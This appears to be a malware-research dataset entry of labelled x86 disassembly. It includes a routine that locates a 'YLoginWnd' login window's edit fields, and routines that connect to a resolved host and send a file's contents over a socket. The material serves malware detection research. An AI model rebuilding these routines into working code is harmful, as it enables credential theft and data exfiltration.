joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4055c0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4082ca
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x10], esi
mov dword [esi], 0x4097e8
xor edi, edi
lea ecx, [esi + 4]
mov dword [esp + 0x20], edi
call sub.MFC42.DLL_CString::CString_2
lea ebp, [esi + 0x24]
mov byte [esp + 0x20], 1
mov ecx, ebp
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esi + 0x44]
mov byte [esp + 0x20], 2
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esi + 0x48]
mov byte [esp + 0x20], 3
call sub.MFC42.DLL_CString::CString_2
lea ebx, [esi + 0x4c]
mov byte [esp + 0x20], 4
mov ecx, ebx
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esi + 0x50]
mov byte [esp + 0x20], 5
call sub.MFC42.DLL_CString::CString_2
mov ecx, dword [esp + 0x2c]
mov edx, dword [esp + 0x30]
mov eax, dword [esp + 0x28]
mov dword [esi + 0x2c], ecx
push edx
mov ecx, ebp
mov byte [esp + 0x24], 6
mov dword [esi], 0x4097d4
mov dword [esi + 0x28], eax
call sub.MFC42.DLL_CString::operator
mov eax, dword [esi + 0x2c]
mov dword [esi + 0xc], edi
cmp eax, edi
je 0x405678
lea ecx, [esi + 0x3c]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov dword [esi + 0x40], eax
push 0x40b970
mov ecx, ebx
mov dword [esi + 0x54], edi
call fcn.004078ee
push 0x40b970
lea ecx, [esi + 0x50]
call fcn.004078ee
mov eax, dword [esi + 0x2c]
mov ebx, dword [sym.imp.USER32.dll_FindWindowExA]
cmp eax, edi
mov dword [esi + 8], 1
mov dword [esi + 0x20], edi
mov dword [esi + 0x1c], edi
mov dword [esi + 0x18], edi
mov dword [esi + 0x14], edi
mov dword [esi + 0x10], edi
mov dword [esi + 0x38], edi
mov dword [esi + 0x34], edi
mov dword [esi + 0x30], edi
je 0x4056d1
push str.YLoginWnd
push str.32770
push edi
push eax
call ebx
mov dword [esi + 0x30], eax
mov eax, dword [esi + 0x30]
cmp eax, edi
je 0x4056e5
push edi
push str.Edit
push edi
push eax
call ebx
mov dword [esi + 0x34], eax
mov eax, dword [esi + 0x30]
cmp eax, edi
je 0x4056fc
mov edx, dword [esi + 0x34]
push edi
push str.Edit
push edx
push eax
call ebx
mov dword [esi + 0x38], eax
mov ecx, dword [esi + 0x38]
lea eax, [esp + 0x14]
push eax
push 0x3e8
push 2
push edi
push edi
push 0x303
push ecx
call dword [sym.imp.USER32.dll_SendMessageTimeoutA]
mov ecx, dword [esp + 0x18]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x14
ret 0xc
Function at 0x4071e0
Capabilities:
Create tcp socket
Initialize winsock library

Disassembly:
push ebx
push esi
push edi
mov ebx, ecx
push 0x200
call sub.MFC42.DLL_operatornew
push 0x100
mov dword [ebx + 0x1ac], eax
call sub.MFC42.DLL_operatornew
mov edx, eax
mov edi, 0x40b888
or ecx, 0xffffffff
xor eax, eax
add esp, 8
mov dword [ebx + 0x1b0], edx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
mov eax, ecx
mov esi, edi
mov edi, edx
push 0x202
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
test eax, eax
je 0x407253
mov ecx, dword [ebx + 0x1ac]
push 0x40b870
push ecx
call esi
add esp, 8
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [ebx + 0x190], eax
jne 0x40728e
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, dword [ebx + 0x1ac]
push eax
push 0x40b858
push edx
call esi
add esp, 0xc
call dword [sym.imp.WS2_32.dll_WSACleanup]
pop edi
mov eax, ebx
pop esi
pop ebx
ret
mov dword [ebx + 0x194], eax
pop edi
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x4072a0
Capabilities:
Connect socket
Resolve dns

Disassembly:
mov eax, dword [esp + 4]
push esi
mov esi, ecx
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x4072bb
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
jmp 0x4072bf
mov eax, dword [esp + 8]
push edi
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
lea edi, [esi + 0x198]
push eax
mov word [edi], 2
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [esi + 0x19c], eax
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov ecx, dword [esi + 0x190]
push 0x10
push edi
push ecx
mov word [esi + 0x19a], ax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
pop edi
jne 0x407329
mov edx, dword [esi + 0x1ac]
push 0x40b8a0
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 8
call dword [sym.imp.WS2_32.dll_WSACleanup]
or eax, 0xffffffff
pop esi
ret 8
xor eax, eax
pop esi
ret 8

Function at 0x407380
Capabilities:
Read and send data from client to server
Read file on windows
Send data
Send data on socket

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x408
push ebx
push ebp
push esi
push edi
push 0x40b2b8
mov ebp, ecx
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov edi, dword [sym.imp.MSVCRT.dll_fread]
mov ebx, dword [sym.imp.WS2_32.dll_send]
add esp, 8
mov esi, eax
push esi
push 0x400
lea ecx, [esp + 0x18]
push 1
push ecx
call edi
add esp, 0x10
test eax, eax
je 0x4073d4
push 0
push eax
mov eax, dword [ebp + 0x190]
lea edx, [esp + 0x18]
push edx
push eax
call ebx
cmp eax, 0x400
jge 0x4073ad
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x408
ret 8
Function at 0x403050
Capabilities:
Check os version
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2d4
mov eax, dword [0x45a094]
xor eax, ebp
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp ax, 6
je 0x403099
push str.SetDefaultDllDirectories
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x403099
push 0xc00
call eax
test eax, eax
jne 0x40312e
push 0x106
lea eax, [ebp - 0x2d4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov ecx, eax
test ecx, ecx
je 0x40312e
cmp ecx, 0x104
ja 0x40312e
cmp word [ebp + ecx*2 - 0x2d6], 0x5c
je 0x4030d2
mov eax, 0x5c
mov word [ebp + ecx*2 - 0x2d4], ax
inc ecx
mov al, byte [str.userenv]
push esi
mov esi, str.userenv
test al, al
je 0x40312d
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
push edi
lea edi, [ebp - 0x2d4]
lea edi, [edi + ecx*2]
mov ecx, edi
inc esi
movzx eax, al
lea ecx, [ecx + 2]
mov word [ecx - 2], ax
mov al, byte [esi]
inc esi
test al, al
jne 0x4030f5
xor eax, eax
mov dword [ecx], 0x64002e
push 8
push eax
mov word [ecx + 8], ax
lea eax, [ebp - 0x2d4]
push eax
mov dword [ecx + 4], 0x6c006c
call ebx
mov al, byte [esi]
test al, al
jne 0x4030f2
pop edi
pop ebx
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0043f7b6
mov esp, ebp
pop ebp
ret
Function at 0x406ef0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov ecx, 0x20
mov eax, dword [edi + 4]
cmp eax, ecx
mov dword [edi + 0x78], 0
cmova eax, ecx
mov dword [edi + 0x7c], 0
mov dword [edi + 0x54], eax
xor ecx, ecx
mov eax, dword [edi]
mov dword [edi + 0x30], 1
mov dword [edi + 0x34], 0
mov dword [edi + 0x38], 0
mov dword [edi + 0x3c], 0
mov dword [edi + 0x40], 0
mov dword [edi + 0x44], 1
mov dword [edi + 0x70], 0
mov dword [edi + 0x88], 0
mov dword [edi + 0x90], 0xffffffff
mov dword [edi + 0x94], 0xffffffff
mov dword [edi + 0x68], 0
mov dword [edi + 0x6c], 0
mov dword [edi + 0x48], 0
mov dword [edi + 0x4c], 0
mov dword [edi + 0x50], 0
mov dword [edi + 0x60], 0
mov dword [edi + 0x64], 0
mov dword [edi + 0x80], 0
mov dword [edi + 0x84], 0
mov dword [edi + 0x58], 0
cmp eax, dword [edi + 0x20]
je 0x407023
mov ecx, 0x20
lea ebx, [edi + 0xd0]
mov dword [ebp + 8], ecx
nop word [eax + eax]
mov eax, dword [ebx]
test eax, eax
je 0x406ff8
mov dword [ebx], 0
nop dword [eax]
mov ecx, dword [ebx - 8]
mov esi, dword [eax]
push eax
mov ecx, dword [ecx + 0x14]
push ecx
mov eax, dword [ecx + 4]
call eax
mov eax, esi
test esi, esi
jne 0x406fe0
mov ecx, dword [ebp + 8]
add ebx, 0x28
sub ecx, 1
mov dword [ebp + 8], ecx
jne 0x406fd0
mov ecx, dword [edi + 0x5c]
test ecx, ecx
je 0x40701b
mov eax, dword [edi + 0x14]
push ecx
push eax
mov eax, dword [eax + 4]
call eax
mov dword [edi + 0x5c], 0
mov eax, dword [edi]
mov ecx, dword [edi + 0x58]
mov dword [edi + 0x20], eax
mov eax, dword [edi + 0x10]
mov dword [edi + 0x98], eax
lea eax, [ecx + 5]
lea eax, [eax + eax*4]
mov dword [edi + 0x9c], 0
lea ebx, [edi + eax*8]
mov dword [edi + 0xa0], 0
lea eax, [ecx + 1]
mov dword [edi + 0xa4], 0
mov dword [edi + 0x58], eax
lea eax, [ebx + 0x20]
push eax
mov dword [edi + 0xa8], 0
mov dword [edi + 0xac], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
call fcn.00408950
lea esi, [ebx + 0x1c]
test eax, eax
jne 0x407108
push esi
call fcn.00408950
test eax, eax
jne 0x407108
lea eax, [ebx + 0x20]
push eax
call fcn.00408a70
test eax, eax
jne 0x407108
push esi
call fcn.00408a70
test eax, eax
jne 0x407108
push ebx
call fcn.00408220
mov dword [ebp - 4], eax
test eax, eax
je 0x407119
mov dword [edi + 0x44], 0
lea esi, [edi + 0xe4]
mov dword [ebp + 8], 0x20
nop dword [eax]
cmp dword [esi - 4], 0
lea ebx, [esi + 4]
je 0x4070ee
push ebx
call fcn.00408a70
push esi
call fcn.00408a70
lea eax, [esi - 4]
push eax
call fcn.00408c90
push esi
call fcn.00408aa0
push ebx
call fcn.00408aa0
add esi, 0x28
sub dword [ebp + 8], 1
jne 0x4070d0
mov eax, dword [ebp - 4]
test eax, eax
jle 0x407112
movzx eax, ax
or eax, 0x80070000
test eax, eax
je 0x407119
mov dword [edi + 0x40], eax
cmp dword [edi + 0x38], 0
jne 0x407132
cmp dword [edi + 0x40], 0
jne 0x407132
cmp dword [edi + 0x3c], 0
jne 0x407132
mov dword [edi + 0x44], 0
xor ecx, ecx
cmp dword [edi + 0x44], ecx
pop edi
pop esi
cmovne eax, ecx
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x408700
Capabilities:
Hash data using sha256

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edx, dword [esi + 8]
and edx, 0x3f
mov byte [edx + esi + 0x40], 0x80
inc edx
cmp edx, 0x38
jbe 0x40874b
cmp edx, 0x40
je 0x408737
mov eax, 0x40
lea ecx, [esi + 0x40]
sub eax, edx
add ecx, edx
push eax
push 0
push ecx
call fcn.00440e00
add esp, 0xc
mov eax, dword [esi]
lea edi, [esi + 0x40]
lea ebx, [esi + 0x20]
mov edx, edi
push 1
mov ecx, ebx
call eax
xor edx, edx
jmp 0x408751
lea edi, [esi + 0x40]
lea ebx, [esi + 0x20]
mov eax, 0x38
sub eax, edx
push eax
lea eax, [esi + 0x40]
add eax, edx
push 0
push eax
call fcn.00440e00
mov ecx, dword [esi + 8]
add esp, 0xc
mov eax, dword [esi + 0xc]
mov edx, edi
shld eax, ecx, 3
shl ecx, 3
bswap eax
bswap ecx
mov dword [esi + 0x78], eax
mov eax, dword [esi]
mov dword [esi + 0x7c], ecx
mov ecx, ebx
push 1
call eax
mov edi, dword [ebp + 0xc]
mov edx, ebx
mov ebx, 4
mov ecx, dword [edx + 4]
lea edi, [edi + 8]
mov eax, dword [edx]
lea edx, [edx + 8]
bswap eax
mov dword [edi - 8], eax
bswap ecx
mov dword [edi - 4], ecx
sub ebx, 1
jne 0x408794
pop edi
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
mov dword [esi + 0x20], 0x6a09e667
mov dword [esi + 0x24], 0xbb67ae85
mov dword [esi + 0x28], 0x3c6ef372
mov dword [esi + 0x2c], 0xa54ff53a
mov dword [esi + 0x30], 0x510e527f
mov dword [esi + 0x34], 0x9b05688c
mov dword [esi + 0x38], 0x1f83d9ab
mov dword [esi + 0x3c], 0x5be0cd19
pop esi
pop ebx
pop ebp
ret 8

Function at 0x408800
Capabilities:
Hash data using sha256

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, dword [0x45a020]
mov dword [ecx], eax
mov dword [ecx + 8], 0
mov dword [ecx + 0xc], 0
mov dword [ecx + 0x20], 0x6a09e667
mov dword [ecx + 0x24], 0xbb67ae85
mov dword [ecx + 0x28], 0x3c6ef372
mov dword [ecx + 0x2c], 0xa54ff53a
mov dword [ecx + 0x30], 0x510e527f
mov dword [ecx + 0x34], 0x9b05688c
mov dword [ecx + 0x38], 0x1f83d9ab
mov dword [ecx + 0x3c], 0x5be0cd19
pop ebp
ret 4

Function at 0x408c40
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push 0
push 0
call fcn.00443757
mov ecx, dword [ebp + 8]
add esp, 0x18
mov dword [ecx], eax
test eax, eax
je 0x408c6d
xor eax, eax
mov esp, ebp
pop ebp
ret 0xc
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
mov ecx, 1
cmovne ecx, eax
mov eax, ecx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x40bde0
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0x45ce50], 0
jne 0x40be18
push esi
push dword [ebp + 8]
lea eax, [ebp - 0xc]
push eax
call fcn.0040a4a0
push 0
push dword [eax]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push dword [ebp - 0xc]
mov esi, eax
call fcn.0043f9fc
add esp, 4
test esi, esi
pop esi
jmp 0x40be25
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x40be2f
mov al, 1
mov esp, ebp
pop ebp
ret 4
xor al, al
mov esp, ebp
pop ebp
ret 4
Function at 0x40c0b0
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov esi, dword [ebp + 8]
push esi
call fcn.0040d3a0
cmp eax, 0xffffffff
je 0x40c0dd
mov ecx, eax
and cl, 0x11
cmp cl, 1
jne 0x40c0dd
and eax, 0xfffffffe
push eax
push esi
call fcn.0040c800
test al, al
je 0x40c11c
cmp byte [0x45ce50], 0
push esi
jne 0x40c109
lea eax, [ebp - 0xc]
push eax
call fcn.0040a4a0
push dword [eax]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push dword [ebp - 0xc]
mov esi, eax
call fcn.0043f9fc
add esp, 4
test esi, esi
jmp 0x40c111
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x40c11c
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret 4
xor al, al
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x40c130
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44ca4b
mov eax, dword fs:[0]
push eax
sub esp, 0x360
mov eax, dword [0x45a094]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebp + 8]
xor ecx, ecx
mov eax, dword [edi]
mov dword [edi + 4], 0
mov word [eax], cx
cmp byte [0x45ce50], cl
jne 0x40c1dc
lea eax, [ebp - 0x128]
mov byte [ebp - 0x128], cl
push eax
push 0x114
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
test eax, eax
je 0x40c2b8
cmp eax, 0x114
jae 0x40c2b8
lea eax, [ebp - 0x128]
mov byte [ebp - 0x14], 0
push eax
lea eax, [ebp - 0x36c]
push eax
call fcn.0040a470
push eax
mov ecx, edi
mov dword [ebp - 4], 0
call fcn.00409440
push dword [ebp - 0x36c]
call fcn.0043f9fc
add esp, 4
mov al, 1
jmp 0x40c2ba
xor eax, eax
mov word [ebp - 0x354], ax
lea eax, [ebp - 0x354]
push eax
push 0x114
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov esi, eax
test esi, esi
je 0x40c2b8
cmp esi, 0x114
jae 0x40c227
xor eax, eax
mov ecx, edi
mov word [ebp - 0x12c], ax
lea eax, [ebp - 0x354]
push eax
call fcn.004095c0
mov al, 1
jmp 0x40c2ba
lea ecx, [ebp - 0x360]
call fcn.004093b0
mov dword [ebp - 4], 1
cmp esi, dword [ebp - 0x358]
jbe 0x40c24d
push esi
lea ecx, [ebp - 0x360]
call fcn.00409d10
push dword [ebp - 0x360]
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov edx, eax
test edx, edx
je 0x40c2aa
mov ecx, dword [ebp - 0x360]
xor eax, eax
mov word [ecx + esi*2], ax
cmp word [ecx], ax
je 0x40c279
inc eax
cmp word [ecx + eax*2], 0
jne 0x40c271
mov dword [ebp - 0x35c], eax
cmp eax, edx
jne 0x40c2aa
lea eax, [esi - 1]
cmp eax, edx
jne 0x40c2aa
lea eax, [ebp - 0x360]
mov ecx, edi
push eax
call fcn.00409440
push dword [ebp - 0x360]
call fcn.0043f9fc
add esp, 4
mov al, 1
jmp 0x40c2ba
push dword [ebp - 0x360]
call fcn.0043f9fc
add esp, 4
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0043f7b6
mov esp, ebp
pop ebp
ret 4
Function at 0x40c340
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44ca90
mov eax, dword fs:[0]
push eax
sub esp, 0x354
mov eax, dword [0x45a094]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp byte [0x45ce50], 0
mov esi, dword [ebp + 8]
jne 0x40c3cd
lea eax, [ebp - 0x128]
mov byte [ebp - 0x128], 0
push eax
push 0x114
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov edi, eax
lea eax, [ebp - 0x128]
push eax
lea eax, [ebp - 0x360]
push eax
call fcn.0040a470
push eax
mov ecx, esi
mov dword [ebp - 4], 0
call fcn.00409440
push dword [ebp - 0x360]
mov dword [ebp - 4], 0xffffffff
call fcn.0043f9fc
add esp, 4
jmp 0x40c3f8
xor eax, eax
mov word [ebp - 0x354], ax
lea eax, [ebp - 0x354]
push eax
push 0x114
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov edi, eax
mov ecx, esi
lea eax, [ebp - 0x354]
push eax
call fcn.004095c0
push esi
call fcn.0040e200
test edi, edi
je 0x40c40e
cmp edi, 0x114
jae 0x40c40e
mov al, 1
jmp 0x40c410
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0043f7b6
mov esp, ebp
pop ebp
ret 4

Function at 0x40c460
Capabilities:
Delete directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0x45ce50], 0
jne 0x40c496
push esi
push dword [ebp + 8]
lea eax, [ebp - 0xc]
push eax
call fcn.0040a4a0
push dword [eax]
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push dword [ebp - 0xc]
mov esi, eax
call fcn.0043f9fc
add esp, 4
test esi, esi
pop esi
jmp 0x40c4a1
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
je 0x40c4ab
mov al, 1
mov esp, ebp
pop ebp
ret 4
xor al, al
mov esp, ebp
pop ebp
ret 4
Function at 0x40c730
Capabilities:
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0x45ce50], 0
jne 0x40c76d
push esi
push dword [ebp + 8]
lea eax, [ebp - 0xc]
push eax
call fcn.0040a4a0
push dword [eax]
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push dword [ebp - 0xc]
mov esi, eax
call fcn.0043f9fc
add esp, 4
test esi, esi
setne al
pop esi
mov esp, ebp
pop ebp
ret 4
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
test eax, eax
setne al
mov esp, ebp
pop ebp
ret 4

Function at 0x40c800
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0x45ce50], 0
jne 0x40c839
push esi
push dword [ebp + 8]
lea eax, [ebp - 0xc]
push eax
call fcn.0040a4a0
push dword [ebp + 0xc]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push dword [ebp - 0xc]
mov esi, eax
call fcn.0043f9fc
add esp, 4
test esi, esi
pop esi
jmp 0x40c847
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
je 0x40c851
mov al, 1
mov esp, ebp
pop ebp
ret 8
xor al, al
mov esp, ebp
pop ebp
ret 8

Function at 0x40d3a0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0x45ce50], 0
jne 0x40d3da
push esi
push dword [ebp + 8]
lea eax, [ebp - 0xc]
push eax
call fcn.0040a4a0
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push dword [ebp - 0xc]
mov esi, eax
call fcn.0043f9fc
add esp, 4
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 4
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
or ecx, 0xffffffff
cmp eax, 0xffffffff
cmovne ecx, eax
mov eax, ecx
mov esp, ebp
pop ebp
ret 4

Function at 0x40d660
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
push eax
push dword [ecx]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40d692
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x40d692
xor al, al
pop esi
mov esp, ebp
pop ebp
ret 4
mov eax, dword [ebp + 8]
xor ecx, ecx
mov edx, dword [ebp - 4]
add ecx, esi
pop esi
adc edx, 0
mov dword [eax], ecx
mov dword [eax + 4], edx
mov al, 1
mov esp, ebp
pop ebp
ret 4

Function at 0x40d790
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 0x10]
mov edx, 0x400000
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 4], ecx
mov dword [ebx], 0
nop
push 0
lea eax, [ebp + 0x10]
mov dword [ebp + 0x10], 0
push eax
cmp esi, 0x400000
mov eax, esi
cmova eax, edx
push eax
push edi
push dword [ecx]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [ebp + 0x10]
add dword [ebx], ecx
test eax, eax
je 0x40d7f8
test ecx, ecx
je 0x40d7ed
add edi, ecx
mov edx, 0x400000
sub esi, ecx
mov ecx, dword [ebp - 4]
jne 0x40d7b0
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret 0xc
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x40da30
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 0x10]
mov edx, 0x400000
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 4], ecx
mov dword [ebx], 0
nop
cmp esi, 0x400000
mov dword [ebp + 0x10], 0
push 0
mov eax, esi
cmova eax, edx
lea edx, [ebp + 0x10]
push edx
push eax
push edi
push dword [ecx]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp + 0x10]
add dword [ebx], ecx
test eax, eax
je 0x40da98
test ecx, ecx
je 0x40da8d
add edi, ecx
mov edx, 0x400000
sub esi, ecx
mov ecx, dword [ebp - 4]
jne 0x40da50
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret 0xc
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x40e9c0
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
lea eax, [ebp - 8]
push esi
push eax
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
test eax, eax
je 0x40ea4f
mov esi, dword [ebp - 0xc]
test esi, esi
je 0x40ea4f
push ebx
push edi
xor edi, edi
xor ebx, ebx
xor eax, eax
mov edx, 2
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
nop word [eax + eax]
lea ecx, [edx - 2]
mov eax, esi
shr eax, cl
lea ecx, [edx - 1]
and eax, 1
add edi, eax
mov eax, esi
shr eax, cl
mov ecx, edx
and eax, 1
add dword [ebp - 8], eax
mov eax, esi
shr eax, cl
lea ecx, [edx + 1]
and eax, 1
add edx, 4
add dword [ebp - 4], eax
mov eax, esi
shr eax, cl
and eax, 1
lea ecx, [edx - 2]
add ebx, eax
cmp ecx, 0x20
jb 0x40ea00
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 8]
add ecx, ebx
add eax, ecx
add eax, edi
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x1c]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x412f20
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
push ebx
mov edi, ecx
call fcn.0040e620
mov esi, dword [edi + 0xf0]
test esi, esi
je 0x413093
cmp dword [edi + 0xe8], 0
je 0x413093
mov eax, dword [ebp + 8]
mov ecx, dword [esi + eax*4]
mov esi, dword [esi + eax*4 + 4]
sub esi, ecx
mov dword [ebp + 0xc], ecx
cmp esi, 0x4000
jae 0x413093
lea eax, [esi - 1]
push eax
push ebx
call fcn.0040e5e0
test eax, eax
jne 0x413095
mov eax, dword [edi + 0xe8]
xor edi, edi
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebx + 8]
lea ecx, [eax + ecx*2]
test esi, esi
je 0x413093
cmp esi, 0x10
jb 0x413065
lea eax, [ecx - 2]
lea eax, [eax + esi*2]
lea ebx, [edx - 2]
lea ebx, [ebx + esi*2]
cmp edx, eax
ja 0x412fb3
cmp ebx, ecx
jae 0x413065
movaps xmm5, xmmword [0x44f740]
mov eax, esi
movaps xmm6, xmmword [0x44f770]
and eax, 0xfffffff0
movaps xmm4, xmmword [0x44f750]
movaps xmm7, xmmword [0x44f760]
movups xmm0, xmmword [ecx]
add edi, 0x10
movaps xmm3, xmm5
pcmpeqw xmm3, xmm0
movaps xmm2, xmm3
pandn xmm2, xmm0
movaps xmm0, xmm3
pand xmm0, xmm4
pxor xmm3, xmm6
por xmm2, xmm0
movaps xmm1, xmm2
pcmpeqw xmm1, xmm4
pand xmm1, xmm3
movaps xmm3, xmm5
movaps xmm0, xmm1
pand xmm1, xmm7
pandn xmm0, xmm2
por xmm0, xmm1
movups xmmword [edx], xmm0
movups xmm0, xmmword [ecx + 0x10]
add ecx, 0x20
pcmpeqw xmm3, xmm0
movaps xmm2, xmm3
pandn xmm2, xmm0
movaps xmm0, xmm3
pand xmm0, xmm4
pxor xmm3, xmm6
por xmm2, xmm0
movaps xmm1, xmm2
pcmpeqw xmm1, xmm4
pand xmm1, xmm3
movaps xmm0, xmm1
pand xmm1, xmm7
pandn xmm0, xmm2
por xmm0, xmm1
movups xmmword [edx + 0x10], xmm0
add edx, 0x20
cmp edi, eax
jb 0x412fd4
cmp edi, esi
jae 0x413093
sub esi, edi
mov edi, 0xf05c
nop dword [eax]
movzx eax, word [ecx]
lea ecx, [ecx + 2]
